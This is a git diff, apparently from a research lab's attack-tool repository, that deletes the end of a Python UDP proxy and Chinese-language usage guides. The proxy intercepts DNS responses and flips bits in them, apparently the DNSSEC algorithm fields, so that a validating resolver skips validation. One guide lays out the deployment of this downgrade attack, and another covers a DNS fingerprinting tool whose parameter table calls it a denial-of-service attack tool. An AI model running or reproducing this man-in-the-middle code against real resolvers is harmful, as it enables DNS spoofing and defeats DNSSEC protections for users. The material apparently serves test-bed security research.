print(qwe.algorithm) - # 遍历DNS响应中的资源记录 - - modified_response = dns_response.to_wire() - binary_string = bin(int(binascii.hexlify(modified_response), 16)) - # print("len: ",len(binary_string),"\n",binary_string) - formatted_string = str(binary_string) - index = str(binary_string).find("01100101001000001101110000001111") - new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:] - new_string = new_string[:index+2] + '1' + new_string[index+3:] - new_string = new_string[:index+3] + '0' + new_string[index+4:] - new_string = new_string[:index+4] + '0' + new_string[index+5:] - new_string = new_string[:index+5] + '1' + new_string[index+6:] - new_string = new_string[:index+6] + '0' + new_string[index+7:] - formatted_string = new_string[:index+7] + '1' + new_string[index+8:] - - # index = str(binary_string).find("0000010100000011") - index = str(binary_string).find("0000110100000011") - -# formatted_string = str(binary_string) - new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:] - new_string = new_string[:index+2] + '1' + new_string[index+3:] - new_string = new_string[:index+3] + '1' + new_string[index+4:] - new_string = new_string[:index+4] + '0' + new_string[index+5:] - new_string = new_string[:index+5] + '0' + new_string[index+6:] - new_string = new_string[:index+6] + '0' + new_string[index+7:] - formatted_string = new_string[:index+7] + '0' + new_string[index+8:] - # print("len: ",len(formatted_string),"\n",formatted_string) - # print("index: ",formatted_string[index:]) - binary_string = formatted_string[2:] - binary_number = int(binary_string, 2) - formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big') - # print("index: ",formatted_string) - try: - dns_response = dns.message.from_wire(formatted_string) - except: - modified_response = dns_response.to_wire() - # print(dns_response) - modified_response = dns_response.to_wire() - print("**********************************************************************************************************************") - return modified_response - -def start_proxy_server(): - # 创建代理服务器的套接字 - proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - - # 将套接字绑定到代理服务器的地址和端口 - proxy_socket.bind((proxy_host, proxy_port)) - - # 循环监听客户端请求并代理流量 - - num = 1 - - print("START: ") - while True: - - print("start") - request, client_addr = proxy_socket.recvfrom(4096) - print("num: ",num) - num = num + 1 - try: - packet = DNS(request) - # 解析DNS流量 - if DNS in packet: - dns1 = packet[DNS] - if dns1.qdcount > 0: - print("Queries:") - for qd in dns1.qd: - print(" Query Name:", qd.qname.decode()) - print(" Query Type:", qd.qtype) - print(" Query Class:", qd.qclass) - query_current_time = datetime.now() - query_current_time = query_current_time.strftime("%H%M%S%f")[:-2] - # src = request[IP].src - print(" Query src:", client_addr) - print(" Query Current Time:", query_current_time) - tmp = qd.qname.decode() - if tmp[0] == "D": - with open("shiyan1_query", "a", newline="") as file: - writer = csv.writer(file) - writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time]) - print("finish") - except Exception as e: - print("error",str(e)) - - - - proxy_dns_request(request, client_addr, proxy_socket) - - # 关闭套接字连接 - proxy_socket.close() - - -# 启动代理服务器 -start_proxy_server() diff --git "a/att script/dnssec-downgrade/\350\257\264\346\230\216.md" "b/att script/dnssec-downgrade/\350\257\264\346\230\216.md" deleted file mode 100644 index 538b7db..0000000 --- "a/att script/dnssec-downgrade/\350\257\264\346\230\216.md" +++ /dev/null @@ -1,52 +0,0 @@ -## 使用说明 - -### 基本目标 - -使目标DNS解析器不对DNSSEC记录进行验证,实现针对DNSSEC的降级攻击 - -### 软件环境 - -DNSSEC降级攻击中共需要四种软件,如下表所示,其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.py,BIND9用于搭建权威服务器和递归解析器,dig工具用于从客户端发起DNS查询并查看解析结果,python用于运行DNSSEC绕过工具。 - -| 软件名称 | 版本 | 作用 | 备注 | -| ------- | ---- | ---- | ---- | -|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py| -|BIND9|9.18.2|搭建权威服务器和递归解析器|| -|dig|9.11.36|发起DNS查询并查看解析结果|| -|python|3.7.2|运行DNSSEC绕过工具|| - -### 硬件环境 - -测试中共需要三台服务器A和B。服务器A和B均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 - -|硬件名称|数量|配置|作用| -|---|---|---|---| -|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| - -### 测试拓扑 - -测试拓扑如下图。 - -![拓扑](downgrade-topology.png) - -### 部署方法 - -#### BIND9部署 - -在服务器B上安装并配置BIND9作为权威服务器,并进行权威域的DNSSEC配置。 -在服务器A上安装并配置BIND9作为递归解析器,开启DNSSEC验证功能。 - -#### DNSSEC绕过工具部署 - -在服务器B上安装python3,将proxy.py脚本移动到服务器上。 - -### 工具使用方法 - -DNSSEC绕过工具无输入参数,直接通过`python3 proxy.py`运行。 - -### 测试方法 - -1. 在服务器B上启动权威服务器,监听9999端口; -2. 在服务器B上执行python3 proxy.py命令,启动DNSSEC绕过工具; -3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu,通过解析结果验证DNSSEC降级攻击效果 - diff --git a/att script/target_GZ/fpdns_client b/att script/target_GZ/fpdns_client deleted file mode 100644 index a2c49bb..0000000 Binary files a/att script/target_GZ/fpdns_client and /dev/null differ diff --git a/att script/target_GZ/fpdns_server b/att script/target_GZ/fpdns_server deleted file mode 100644 index 39c6a48..0000000 Binary files a/att script/target_GZ/fpdns_server and /dev/null differ diff --git a/att script/target_GZ/topology.png b/att script/target_GZ/topology.png deleted file mode 100644 index 265d903..0000000 Binary files a/att script/target_GZ/topology.png and /dev/null differ diff --git "a/att script/target_GZ/\350\257\264\346\230\216.md" "b/att script/target_GZ/\350\257\264\346\230\216.md" deleted file mode 100644 index 7fc8847..0000000 --- "a/att script/target_GZ/\350\257\264\346\230\216.md" +++ /dev/null @@ -1,66 +0,0 @@ -## 使用说明 - -### 基本目标 - -通过主动探测精确感知目标DNS服务的各项参数。 - -### 软件环境 - -目标感知中共需要3种软件,如下表所示,其中主要测试对象为目录中的目标感知工具fpdns_client和辅助感知工具fpdns_server,BIND9递归解析器作为感知目标。 - -| 软件名称 | 版本 | 作用 | 备注 | -| ------- | ---- | ---- | ---- | -|目标感知工具|v1.0|进行目标感知|| -|辅助感知工具|v1.0|辅助进行目标感知|| -|BIND9|9.11.36|作为感知目标|| - -### 硬件环境 - -测试中共需要2台服务器A和B。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 - -|硬件名称|数量|配置|作用| -|---|---|---|---| -|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| - -### 测试拓扑 - -测试拓扑如下图。 - -![](topology.png) - -### 部署方法 - -#### 感知目标部署 - -在服务器A上安装BIND9,设置模式为递归解析模式。 - -#### 目标感知工具部署 - -将可执行文件fpdns_client移动到服务器A上。 - -#### 辅助感知工具部署 - -将可执行文件fpdns_server移动到服务器C上。 - -### 使用方法 - -#### 辅助感知工具 - -|参数|说明|示例| -|---|---|---| -|-sld|感知中使用的二级域名|echodns.xyz| - -#### 拒绝服务攻击工具 - -|参数|说明|示例| -|---|---|---| -|-target|感知目标的IP地址|1.2.3.4| - - -### 测试方法 - -1. 在服务器A上启动BIND9递归解析器; -2. 在服务器B上执行命令`./fpdns_server -sld echodns.xyz`,启动辅助感知工具; -3. 在服务器A上执行命令`./dtool -target {ip}`,进行目标感知 -4. 等待感知完毕,通过输出结果判断感知效果 - diff --git "a/att script/target_GZ/\350\257\267\345\210\240\351\231\244\346\210\221.txt" "b/att script/target_GZ/\350\257\267\345\210\240\351\231\244\346\210\221.txt" deleted file mode 100644 index e69de29..0000000 -- cgit v1.2.3